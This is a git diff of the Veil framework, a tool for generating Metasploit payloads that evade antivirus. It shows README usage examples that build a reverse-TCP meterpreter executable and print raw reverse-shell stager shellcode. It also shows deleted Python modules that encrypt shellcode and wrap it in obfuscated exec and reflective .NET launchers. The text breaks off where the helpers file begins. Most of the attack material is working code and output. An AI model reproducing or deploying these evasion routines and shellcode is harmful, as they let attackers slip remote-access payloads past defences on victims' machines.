diff --git a/README.md b/README.md index c35751f..3d78c87 100644 --- a/README.md +++ b/README.md @@ -7,6 +7,7 @@ Veil is a tool designed to generate metasploit payloads that bypass common anti- Veil is current under support by @ChrisTruncer - - - + ## Software Requirements: The following OSs are officially supported: @@ -31,7 +32,7 @@ The following OSs are likely able to run Veil: ```bash apt -y install veil -veil --setup +/usr/share/veil/config/setup.sh --force --silent ``` ### Git's Quick Install @@ -44,33 +45,196 @@ veil --setup sudo apt-get -y install git git clone https://github.com/Veil-Framework/Veil.git cd Veil/ -./Veil.py --setup +sudo bash config/setup.sh --force --silent +``` + +### ./config/setup.sh // Setup Files + +This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run `./config/update-config.py` for your environment. + +It includes two optional flags, `--force` and `--silent`: +```bash +--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update. +--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user. ``` +This can be ran either by doing: `./Veil.py --setup` OR `./config/setup.sh --force`. + +### ./config/update-config.py // Regenerating Configuration file + +This will generate the output file for `/etc/veil/settings.py`. Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update). + +It is important that you are in the `./config/` directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following: + +```bash + Main Menu + + 0 payloads loaded +``` + +Don't panic. Run either: `./Veil.py --config` OR `cd ./config/; ./update-config.py`. + ### Py2Exe -**NOTE**: Using **Py2Exe** is recommended over Pyinstaller _(as it has a lower detection rate)_. +**NOTE**: Using **Py2Exe** is recommended over PyInstaller _(as it has a lower detection rate)_. -Install on a Windows Computer: +MANUALLY Install on a Windows Computer (as this isn't done by Veil's setup): - [Python 3.3](https://www.python.org/downloads/release/python-335/) - [Py2Exe](https://pypi.python.org/pypi/py2exe/) - [PyCrypto](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) - [PyWin32](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/) -### Regenerating Configuration file +- - - -Most of the time the config file at `/etc/veil/settings.py` will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by `./config/update-config.py`. +## Example Usage -It is important that you are in the `config`/ directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following. +Veil's Main Menu: ```bash - Main Menu +$ ./Veil.py +=============================================================================== + Veil | [Version]: 3.1.5 +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== - 0 payloads loaded +Main Menu + + 2 tools loaded + +Available Tools: + + 1) Evasion + 2) Ordnance + +Available Commands: + + exit Completely exit Veil + info Information on a specific tool + list List available tools + options Show Veil configuration + update Update Veil + use Use a specific tool + + +Main menu choice: +``` + +**Help** +```bash +$ ./Veil.py --help +usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config] + [--version] [--ip IP] [--port PORT] [--list-payloads] + [-p [PAYLOAD]] [-o OUTPUT-NAME] + [-c [OPTION=value [OPTION=value ...]]] + [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ] + [--compiler pyinstaller] [--clean] [--ordnance-payload [PAYLOAD]] + [--list-encoders] [-e ENCODER] [-b \x00\x0a..] + [--print-stats] + +Veil is a framework containing multiple tools. + +[*] Veil Options: + --list-tools List Veil's tools + -t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.) + --update Update the Veil framework + --setup Run the Veil framework setup file & regenerate the + configuration + --config Regenerate the Veil framework configuration file + --version Displays version and quits + +[*] Callback Settings: + --ip IP, --domain IP IP address to connect back to + --port PORT Port number to connect to + +[*] Payload Settings: + --list-payloads Lists all available payloads for that tool + +[*] Veil-Evasion Options: + -p [PAYLOAD] Payload to generate + -o OUTPUT-NAME Output file base name for source and compiled binaries + -c [OPTION=value [OPTION=value ...]] + Custom payload module options + --msfoptions [OPTION=value [OPTION=value ...]] + Options for the specified metasploit payload + --msfvenom [] Metasploit shellcode to generate (e.g. + windows/meterpreter/reverse_tcp etc.) + --compiler pyinstaller + Compiler option for payload (currently only needed for + Python) + --clean Clean out payload folders + +[*] Veil-Ordnance Shellcode Options: + --ordnance-payload [PAYLOAD] + Payload type (bind_tcp, rev_tcp, etc.) + +[*] Veil-Ordnance Encoder Options: + --list-encoders Lists all available encoders + -e ENCODER, --encoder ENCODER + Name of shellcode encoder to use + -b \\x00\\x0a.., --bad-chars \x00\x0a.. + Bad characters to avoid + --print-stats Print information about the encoded shellcode +$ ``` -Don't panic. Run: `./Veil.py --config`. +**Veil Evasion CLI** + +```bash +$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444 +=============================================================================== + Veil-Evasion +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== + +runtime/internal/sys +runtime/internal/atomic +runtime +errors +internal/race +sync/atomic +math +sync +io +unicode/utf8 +internal/syscall/windows/sysdll +unicode/utf16 +syscall +strconv +reflect +encoding/binary +command-line-arguments +=============================================================================== + Veil-Evasion +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== + + [*] Language: go + [*] Payload Module: go/meterpreter/rev_tcp + [*] Executable written to: /var/lib/veil/output/compiled/payload.exe + [*] Source code written to: /var/lib/veil/output/source/payload.go + [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc +$ +$ file /var/lib/veil/output/compiled/payload.exe +/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows +$ +``` + +**Veil Ordnance CLI** + +```bash +$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444 +Payload Name: Reverse TCP Stager (Stage 1) +IP Address: 127.0.0.1 +Port: 4444 +Shellcode Size: 287 + +\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3 +$ +``` - - - diff --git a/Tools/Evasion/Tool.py b/Tools/Evasion/Tool.py deleted file mode 100644 index 2c8edad..0000000 --- a/Tools/Evasion/Tool.py +++ /dev/null @@ -1,480 +0,0 @@ -""" -This is the Veil-Evasion module -""" - -import glob -import imp -import os -import readline -import subprocess -import sys -from os.path import join -from lib.common import completer -from lib.common import helpers -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import outfile -from tools.evasion.evasion_common import shellcode_help - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') -import tool as ordnance_import - - -class Tools: - - def __init__(self, cli_options=None): - self.cli_name = "Evasion" - self.description = "Generates Anti-Virus avoiding executables #avlol" - # Payloads currently within the payload directories - self.active_payloads = {} - # Load all payload modules - self.load_payloads(cli_options) - self.command_options = cli_options - self.evasion_main_menu_commands = { - "list" : "List available payloads", - "use" : "Use a specific payload", - "info" : "Information on a specific payload", - "exit" : "Exit Veil", - "back" : "Go to main Veil menu", - "clean" : "Remove generated artifacts", - "checkvt": "Check VirusTotal against generated hashes"} - self.final_shellcode = '' - self.payload_option_commands = { - "set": "Set shellcode option", - "generate": "Generate the payload", - "back": "Go back", - "exit": "Completely exit Veil", - "options": "Show the shellcode's options" - } - - def check_vt(self, interactive=True): - """ - Checks payload hashes in veil-output/hashes.txt vs VirusTotal - """ - - # Command for in-menu vt-notify check against hashes within hash file - # It's only triggered if selected in menu and file isn't empty - try: - if os.stat(settings.HASH_LIST)[6] != 0: - checkVTcommand = settings.VEIL_EVASION_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0" - print(helpers.color("\n [*] Checking Virus Total for payload hashes...\n")) - checkVTout = subprocess.check_output(checkVTcommand, shell=True) - checkVTout = checkVTout.decode('ascii') - checkVTout = checkVTout.split('\n') - - found = False - for line in checkVTout: - if "was found" in line: - filehash, filename = line.split()[0].split(":") - print(helpers.color(" [!] File %s with hash %s found!" % (filename, filehash), warning=True)) - found = True - if found is False: - print(" [*] No payloads found on VirusTotal!") - - input("\n [>] Press any key to continue...") - - else: - print(helpers.color("\n [!] Hash file is empty, generate a payload first!", warning=True)) - input("\n [>] Press any key to continue...") - - except OSError: - print(helpers.color("\n [!] Error: hash list %s not found" % (settings.HASH_LIST), warning=True)) - input("\n [>] Press any key to continue...") - return - - def clean_artifacts(self, interactive=True): - """ - Cleans out the payload source/compiled/handler folders. - """ - - # prompt for confirmation if we're in the interactive menu - if interactive: - choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ") - - if choice.lower() == "y": - helpers.clean_payloads() - - choice = input("\n [>] Folders cleaned, press any enter to return to the main menu.") - - else: - print(helpers.color("[*] You did not enter yes, not cleaning payloads!", warning=True)) - - else: - print("\n [*] Cleaning %s" % (settings.PAYLOAD_SOURCE_PATH)) - os.system('rm -f %s/*.*' % (settings.PAYLOAD_SOURCE_PATH)) - - print(" [*] Cleaning %s" % (settings.PAYLOAD_COMPILED_PATH)) - os.system('rm -f %s/*.exe' % (settings.PAYLOAD_COMPILED_PATH)) - - print(" [*] Cleaning %s" % (settings.HANDLER_PATH)) - os.system('rm -f %s/*.rc' % (settings.HANDLER_PATH)) - - print(" [*] cleaning %s" % (settings.HASH_LIST)) - os.system('rm -f %s' % (settings.HASH_LIST)) - os.system('touch ' + settings.HASH_LIST) - - print("\n [*] Folders cleaned\n") - return - - def cli_menu(self, invoked=False): - if self.command_options.list_payloads: - self.list_loaded_payloads() - - # check if a payload is provided, and if so, start the generation - # process - elif self.command_options.p: - user_cli_payload = self.return_payload_object(self.command_options.p) - if not user_cli_payload: - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - sys.exit() - if self.command_options.ip is None and ("meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path): - print(helpers.color("[*] Error: You did not provide an IP/domain to connect to/bind on", warning=True)) - sys.exit() - - # Make sure IP is valid - if self.command_options.ip is not None: - valid_ip = helpers.validate_ip(self.command_options.ip) - valid_hostname = helpers.validate_hostname(self.command_options.ip) - - if not valid_ip and not valid_hostname: - print(helpers.color("[*] Error: You did not provide a valid ip/domain!", warning=True)) - print(helpers.color("[*] Please specify the correct value", warning=True)) - sys.exit() - - # Determine if using Ordnance or MSFVenom for shellcode generation - if self.command_options.ordnance_payload is None and self.command_options.msfvenom is None and "meterpreter" not in user_cli_payload.path: - print(helpers.color("[*] Error: You did not provide a shellcode option to use!", warning=True)) - sys.exit() - - # Check if using a pure payload (shellcodeless) - if "meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path: - if "meterpreter" in user_cli_payload.path: - # Check for where the IP is being stored - if "LHOST" in user_cli_payload.required_options: - user_cli_payload.required_options["LHOST"][0] = self.command_options.ip - elif "RHOST" in user_cli_payload.required_options: - user_cli_payload.required_options["RHOST"][0] = self.command_options.ip - # Store the LPORT value in the payload - if "LPORT" in user_cli_payload.required_options: - user_cli_payload.required_options["LPORT"][0] = self.command_options.port - else: - # If ordnance, generate shellcode through it - if self.command_options.ordnance_payload is not None: - Ordnance_object = ordnance_import.Tools(self.command_options) - Ordnance_object.cli_menu(invoked=True) - cli_shellcode = Ordnance_object.final_shellcode - # Or if msfvenom, get that code - elif self.command_options.msfvenom is not None: - cli_shellcode = shellcode_help.cli_msf_shellcode_gen(self.command_options) - # This could be the future area for adding custom shellcode. If there - # is a need I can add it in - - # Set the shellcode in the Evasion payload - user_cli_payload.cli_shellcode = cli_shellcode - - # Loop over setting required options - if self.command_options.c is not None: - for payload_option in self.command_options.c: - if payload_option is not '': - if "=" not in payload_option: - print(helpers.color(" [!] Payload option not entered in correct syntax.\n", warning=True)) - sys.exit() - else: - key = payload_option.split('=')[0].upper() - value = payload_option.split('=')[1] - if key in user_cli_payload.required_options: - user_cli_payload.required_options[key][0] = value - else: - print(helpers.color(" [!] The option " + key + " does not exist for the selected payload!.\n", warning=True)) - sys.exit() - - # Generate the payload code - # source code stored in user_cli_payload.source_code - user_cli_payload.generate() - - # figure out how to compile the code - outfile.compiler(user_cli_payload, invoked=True, cli_object=self.command_options) - - return - - def display_payload_options(self, selected_pload, showTitle=True): - # show the title if specified - if showTitle: - evasion_helpers.title_screen() - - self.payload_info(selected_pload) - return - - def invoked_tool_menu(self, callback_config=None): - print("This is a menu when invoked by another tool") - return - - def list_loaded_payloads(self): - print(helpers.color("\n [*] Available Payloads:\n")) - lastBase = None - x = 1 - for name in sorted(self.active_payloads.keys()): - parts = name.split("/") - if lastBase and parts[0] != lastBase: - print() - lastBase = parts[0] - print("\t%s)\t%s" % (x, '{0: <24}'.format(name))) - x += 1 - print("\n") - return - - def load_payloads(self, cli_args): - for x in range(1, 5): - for name in glob.glob(join("tools/evasion/payloads/" + "*/" * x,'[!_]*.py')): - if name.endswith(".py") and ("__init__" not in name): - loaded_payloads = imp.load_source( - name.replace("/", ".").rstrip('.py'), name) - self.active_payloads[name.replace('tools/evasion/payloads/', '')] = loaded_payloads.PayloadModule(cli_args) - return - - def print_options_screen(self, pload_object): - print() - print("Payload: " + helpers.color(pload_object.path) + " selected\n") - print(helpers.color("Required Options:\n")) - print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) - print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) - for opt_name in sorted(pload_object.required_options.keys()): - print('{0: <16}'.format(opt_name) + '\t' + '{0: <8}'.format(pload_object.required_options[opt_name][0]) + '\t' + pload_object.required_options[opt_name][1]) - print() - return - - def payload_info(self, payload_obj, showTitle=True, showInfo=True): - """ - Print out information about a specified payload. - payload_obj = the payload object to print information on - showTitle = whether to show the Veil title - showInfo = whether to show the payload information bit - """ - - print(helpers.color(" Payload information:\n")) - print("\tName:\t\t" + payload_obj.name) - print("\tLanguage:\t" + payload_obj.language) - print("\tRating:\t\t" + payload_obj.rating) - - # format this all nice-like - print(evasion_helpers.format_long("Description:", payload_obj.description)) - # if required options were specified, output them - if hasattr(payload_obj, 'required_options'): - self.print_options_screen(payload_obj) - return - - def return_payload_object(self, user_selection): - # This function handles returning the selected payload module object - # to the calling function - counter_value = 1 - for payload_path, payload_module in sorted(self.active_payloads.items()): - if user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_payloads)): - if int(user_selection) == counter_value: - return payload_module - else: - if user_selection.lower().strip() == payload_path: - return payload_module - - # Iterate counter for number based selection - counter_value += 1 - return False - - def tool_main_menu(self): - # This is the main function where everything is called from - # Iterate over payloads and find the user selected payload module - evasion_main_command = '' - show_evasion_menu = True - while evasion_main_command == '': - - # set out tab completion for the appropriate modules on each run - # as other modules sometimes reset this - comp = completer.MainMenuCompleter(self.evasion_main_menu_commands, self.active_payloads) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - if show_evasion_menu: - evasion_helpers.title_screen() - print("Veil-Evasion Menu") - print("\n\t" + helpers.color(len(self.active_payloads)) + " payloads loaded\n") - print("Available Commands:\n") - for command in sorted(self.evasion_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.evasion_main_menu_commands[command]) - print() - show_evasion_menu = True - - evasion_main_command = input('Veil-Evasion command: ').strip() - - if evasion_main_command.lower() == "back": - evasion_main_command = '' - break - - elif evasion_main_command.lower() == "checkvt": - self.check_vt() - evasion_main_command = '' - - elif evasion_main_command.lower() == "clean": - self.clean_artifacts() - evasion_main_command = '' - - elif evasion_main_command.lower() == "exit": - sys.exit(0) - - elif evasion_main_command.lower().startswith('info'): - if len(evasion_main_command.split()) == 2: - payload_selected = evasion_main_command.split()[1] - selected_payload_module = self.return_payload_object(payload_selected) - if not selected_payload_module: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - else: - self.print_options_screen(selected_payload_module) - evasion_main_command = '' - show_evasion_menu = False - - else: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - - elif evasion_main_command.lower().startswith('list'): - - evasion_helpers.title_screen() - self.list_loaded_payloads() - show_evasion_menu = False - print() - evasion_main_command = '' - - elif evasion_main_command.lower().startswith('use'): - if len(evasion_main_command.split()) == 2: - payload_selected = evasion_main_command.split()[1] - selected_payload_module = self.return_payload_object(payload_selected) - if not selected_payload_module: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - else: - self.use_payload(selected_payload_module) - evasion_main_command = '' - show_evasion_menu = True - - else: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - - else: - evasion_main_command = '' - return - - def use_payload(self, selected_payload): - # Tab completion, thanks Will :) - comp = completer.PayloadCompleter(self.payload_option_commands, selected_payload) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - self.display_payload_options(selected_payload) - - payload_options_cmd = "" - evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - - while True: - payload_options_cmd = input("\n[" + selected_payload.path + ">>] ").strip() - - if payload_options_cmd.lower() == "back" or payload_options_cmd.lower() == "main": - payload_options_cmd = "" - break - - elif payload_options_cmd.lower() == "generate": - # Checking for Ruby specific payloads because of dumbass sleep check - if selected_payload.language == 'ruby' and selected_payload.required_options["SLEEP"][0] != "X" and selected_payload.required_options["USERNAME"][0] == "X" and selected_payload.required_options["DOMAIN"][0] == "X" and selected_payload.required_options["HOSTNAME"][0] == "X": - print(helpers.color("[*] If using SLEEP check with Ruby, you must also provide an additional check (like HOSTNAME)!", warning=True)) - payload_options_cmd = "" - else: - selected_payload.generate() - if not outfile.compiler(selected_payload): - payload_options_cmd = "" - else: - payload_options_cmd = "" - break - - elif payload_options_cmd.lower() == "exit": - sys.exit(0) - - elif payload_options_cmd.lower() == "help" or payload_options_cmd.lower() == "options": - self.print_options_screen(selected_payload) - evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - payload_options_cmd = "" - - elif payload_options_cmd.lower().startswith("set"): - if len(payload_options_cmd.split()) == 3: - set_command, key, value = payload_options_cmd.split() - # Make sure it is uppercase - key = key.upper() - if key in selected_payload.required_options: - # Validate LHOST value - if key is "LHOST": - if helpers.validate_ip(value): - selected_payload.required_options[key][0] = value - else: - print() - print(helpers.color("[*] Error: You did not provide a valid IP!", warning=True)) - print() - payload_options_cmd = '' - # Validate LPORT - elif key is "LPORT": - if helpers.validate_port(value): - selected_payload.required_options[key][0] = value - else: - print() - print(helpers.color("[*] Error: You did not provide a valid port number!", warning=True)) - print() - payload_options_cmd = '' - - else: - # Set other options - selected_payload.required_options[key][0] = value - else: - print() - print(helpers.color("[*] Error: You did not provide a valid option!", warning=True)) - print(helpers.color("[*] Ex: set LHOST 8.8.8.8", warning=True)) - print() - - else: - print() - print(helpers.color("[*] Error: You did not provide a valid amount of arguments!", warning=True)) - print(helpers.color("[*] Ex: set DOMAIN christest.com", warning=True)) - print() - payload_options_cmd = '' - - else: - # Not a real command - evasion_helpers.print_dict_message(self.payload_option_commands) - payload_options_cmd = "" - - return diff --git a/Tools/Evasion/evasion_common/encryption.py b/Tools/Evasion/evasion_common/encryption.py deleted file mode 100644 index 5bc54b2..0000000 --- a/Tools/Evasion/evasion_common/encryption.py +++ /dev/null @@ -1,232 +0,0 @@ -""" -Evasion Encryption Routines -""" - -import base64 -import random -import string -from Crypto.Cipher import ARC4 -from Crypto.Cipher import AES -from Crypto.Cipher import DES -from lib.common import helpers -from tools.evasion.evasion_common import evasion_helpers - - -def aes_encryption(incoming_shellcode, encryption_pad=4): - # Generate a random key, create the cipher object - # pad the shellcode, and encrypt the padded shellcode - # return encrypted -> encoded shellcode and key - random_aes_key = helpers.randomKey() - iv = helpers.randomString(16) - aes_cipher_object = AES.new(random_aes_key, AES.MODE_CBC, iv) - padded_shellcode = encryption_padding(incoming_shellcode, encryption_pad) - encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode) - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - return encoded_ciphertext, random_aes_key, iv - - -def arc_encryption(incoming_shellcode): - # Generate a random key, create the cipher object - # pad the shellcode, and encrypt the padded shellcode - # return encrypted -> encoded shellcode and key - random_arc_key = helpers.randomKey() - arc_cipher_object = ARC4.new(random_arc_key) - padded_shellcode = encryption_padding(incoming_shellcode) - encrypted_shellcode = arc_cipher_object.encrypt(padded_shellcode) - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - return encoded_ciphertext, random_arc_key - - -def arya(source): - - # compile the source to a temporary .EXE path - tempExePath = evasion_helpers.compileToTemp("cs", source) - - try: - # read in the raw binary - with open(tempExePath, 'rb') as f: - rawBytes = f.read() - - # build the obfuscated launcher source and return it - launcherCode = buildAryaLauncher(rawBytes) - - return launcherCode - - except: - print(helpers.color(" [!] Couldn't read compiled .NET source file: " + tempExePath, warning=True)) - return "" - - -def b64sub(s, key): - """ - "Encryption" method that base64 encodes a given string, - then does a randomized alphabetic letter substitution. - """ - enc_tbl = str.maketrans(string.ascii_letters, key) - return str.translate(base64.b64encode(s).decode('ascii'), enc_tbl) - - -def buildAryaLauncher(raw): - """ - Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt - a string rep of the bytes, and then use reflection to invoke - the original .exe - """ - - # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution - key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) - base64payload = b64sub(raw, key) - - payload_code = "using System; using System.Collections.Generic; using System.Text;" - payload_code += "using System.IO; using System.Reflection; using System.Linq;\n" - - decodeFuncName = evasion_helpers.randomString() - baseStringName = evasion_helpers.randomString() - targetStringName = evasion_helpers.randomString() - dictionaryName = evasion_helpers.randomString() - - # build out the letter sub decrypt function - payload_code += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString(), decodeFuncName) - payload_code += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" % (baseStringName) - payload_code += "string %s = \"\"; Dictionary %s = new Dictionary();\n" % (targetStringName, dictionaryName) - payload_code += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" % (baseStringName, dictionaryName,baseStringName) - payload_code += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" % (targetStringName, dictionaryName) - payload_code += "else { %s += t[i]; }} return %s; }\n" % (targetStringName, targetStringName) - - base64PayloadName = evasion_helpers.randomString() - assemblyName = evasion_helpers.randomString() - - # build out Main() - assemblyName = evasion_helpers.randomString() - methodInfoName = evasion_helpers.randomString() - keyName = evasion_helpers.randomString() - payload_code += "static void Main() {\n" - payload_code += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) - payload_code += "string %s = \"%s\";\n" % (keyName, key) - # load up the assembly of the decoded binary - payload_code += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" % (assemblyName, decodeFuncName, base64PayloadName, keyName) - payload_code += "MethodInfo %s = %s.EntryPoint;\n" % (methodInfoName, assemblyName) - # use reflection to jump to its entry point - payload_code += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" % (methodInfoName, assemblyName, methodInfoName) - payload_code += "}}}\n" - - return payload_code - - -def constrained_aes(incoming_shellcode): - """ - Generates a constrained AES key which is later brute forced - in a loop - """ - # Create our constrained Key - small_key = helpers.randomKey(25) - - # Actual Key used - real_key = small_key + str(helpers.randomNumbers()) - - # Create Cipher Object with Generated Secret Key - aes_cipher_object = AES.new(real_key, AES.MODE_ECB) - - # Prep for manipulation (this is really for python stallion only) - # If this function as a whole is needed for another language - # It should probably be rewritten without this step - incoming_shellcode = incoming_shellcode.encode('latin-1') - incoming_shellcode = incoming_shellcode.decode('unicode_escape') - - # Pad the shellcode - padded_shellcode = encryption_padding(incoming_shellcode, '*') - - # actually encrypt the shellcode - encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode) - - # Base64 encode the encrypted shellcode - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - - # return a tuple of (encodedText, small constrained key, actual key used) - return encoded_ciphertext, small_key, real_key - - -def des_encryption(incoming_shellcode): - # Generate a random key, create the cipher object - # pad the shellcode, and encrypt the padded shellcode - # return encrypted -> encoded shellcode and key - random_des_key = helpers.randomKey(8) - iv = helpers.randomString(8) - des_cipher_object = DES.new(random_des_key, DES.MODE_CBC, iv) - padded_shellcode = encryption_padding(incoming_shellcode) - encrypted_shellcode = des_cipher_object.encrypt(padded_shellcode) - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - return encoded_ciphertext, random_des_key, iv - - -def encryption_padding(sc_to_pad, padding_letter=4): - if padding_letter == 4: - padding_letter = random.choice(string.ascii_letters + string.digits + "{}!@#$^&()*&[]|,./?") - sc_to_pad = bytes(sc_to_pad, 'latin-1') - while len(sc_to_pad) % 16 != 0: - sc_to_pad += padding_letter.encode('latin-1') - return sc_to_pad - - -def known_plaintext(known_key, random_plaintext): - """ - Uses key passed in to encrypt a random string which is - used in a known plaintext attack to brute force its - own key - """ - aes_cipher_object = AES.new(known_key, AES.MODE_ECB) - random_plaintext = encryption_padding(random_plaintext, '*') - encrypted_text = aes_cipher_object.encrypt(random_plaintext) - encoded_ciphertext = base64.b64encode(encrypted_text) - - # return our encrypted known plaintext - return encoded_ciphertext - - -def pyherion(code): - """ - Generates a crypted hyperion'esque version of python code using - base64 and AES with a random key, wrapped in an exec() dynamic launcher. - - code = the python source code to encrypt - - Returns the encrypted python code as a string. - """ - - imports = list() - codebase = list() - - # strip out all imports from the code so pyinstaller can properly - # launch the code by preimporting everything at compiletime - for line in code.split("\n"): - if not line.startswith("#"): # ignore commented imports... - if "import" in line: - imports.append(line) - else: - codebase.append(line) - - # encrypt the input file (less the imports) - encrypted_code, key, iv = aes_encryption("\n".join(codebase), encryption_pad='{') - encrypted_code = encrypted_code.decode('ascii') - - # some random variable names - b64var = helpers.randomString() - aesvar = helpers.randomString() - - # randomize our base64 and AES importing variable - imports.append("from base64 import b64decode as " + b64var) - imports.append("from Crypto.Cipher import AES as " + aesvar) - - # shuffle up our imports - random.shuffle(imports) - - # add in the AES imports and any imports found in the file - crypted = ";".join(imports) + "\n" - - # the exec() launcher for our base64'ed encrypted string - to_be_encoded = "exec(" + aesvar + ".new(\"" + key + "\", " + aesvar + ".MODE_CBC, \"" + iv + "\").decrypt(" + b64var + "(\"" + encrypted_code + "\")).rstrip(b'{'))\n" - to_be_encoded = to_be_encoded.encode() - encoded_script = base64.b64encode(to_be_encoded).decode('ascii') - crypted += "exec(" + b64var + "(\"" + encoded_script + "\"))" - - return crypted diff --git a/Tools/Evasion/evasion_common/evasion_helpers.py b/Tools/Evasion/evasion_common/evasion_helpers.py deleted file mode 100644 index 48e658e..0000000 --- a/Tools/Evasion/evasion_common/evasion_helpers.py +++ /dev/null @@ -1,148 +0,0 @@ -""" -""" - 